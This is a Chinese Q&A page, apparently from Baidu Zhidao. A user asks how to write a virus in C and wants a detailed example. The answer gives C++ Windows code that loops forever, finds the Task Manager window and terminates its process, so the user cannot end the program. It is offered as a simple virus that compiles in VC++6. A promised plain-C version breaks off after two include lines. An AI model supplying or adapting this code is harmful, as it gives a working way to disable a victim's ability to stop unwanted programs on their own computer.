怎么用c写病毒,我要详细过程

来源:百度知道 编辑:UC知道 时间:2024/09/28 06:58:48
怎么用c写病毒,我要详细过程,给个事例

一个专门结束“Windows任务管理器”的程序,前些天编写的,如果这也能算是“病毒”的话,不妨楼主看看。在VC++6中编译成功,可以正常运行。
C++编写的,略微改动一下就是标准的C语言程序。

#include "stdio.h"
#include "Windows.h"

void kill(void);

void main()
{

while(1)
{
kill();
Sleep(100);
}
}

void kill(void)
{
// printf("Kill!\n");
HWND hwnd;
MessageBox(NULL,"fssignal","fss",MB_OK);
hwnd=FindWindow(NULL,"Windows 任务管理器");
if(NULL!=hwnd)
{
DWORD ThrID; // process ID of TaskManagment
DWORD* pPrID=new DWORD;

ThrID=GetWindowThreadProcessId(hwnd,pPrID);

HANDLE hProc;
hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,*pPrID);
TerminateProcess(hProc,0);

}

}

////
以下是改成C语言格式的版本,没有测试,不能保证编译通过
但在TC下肯定不能编译功,TC没有windows函数库
#include "stdio.h"
#include "Windows.h"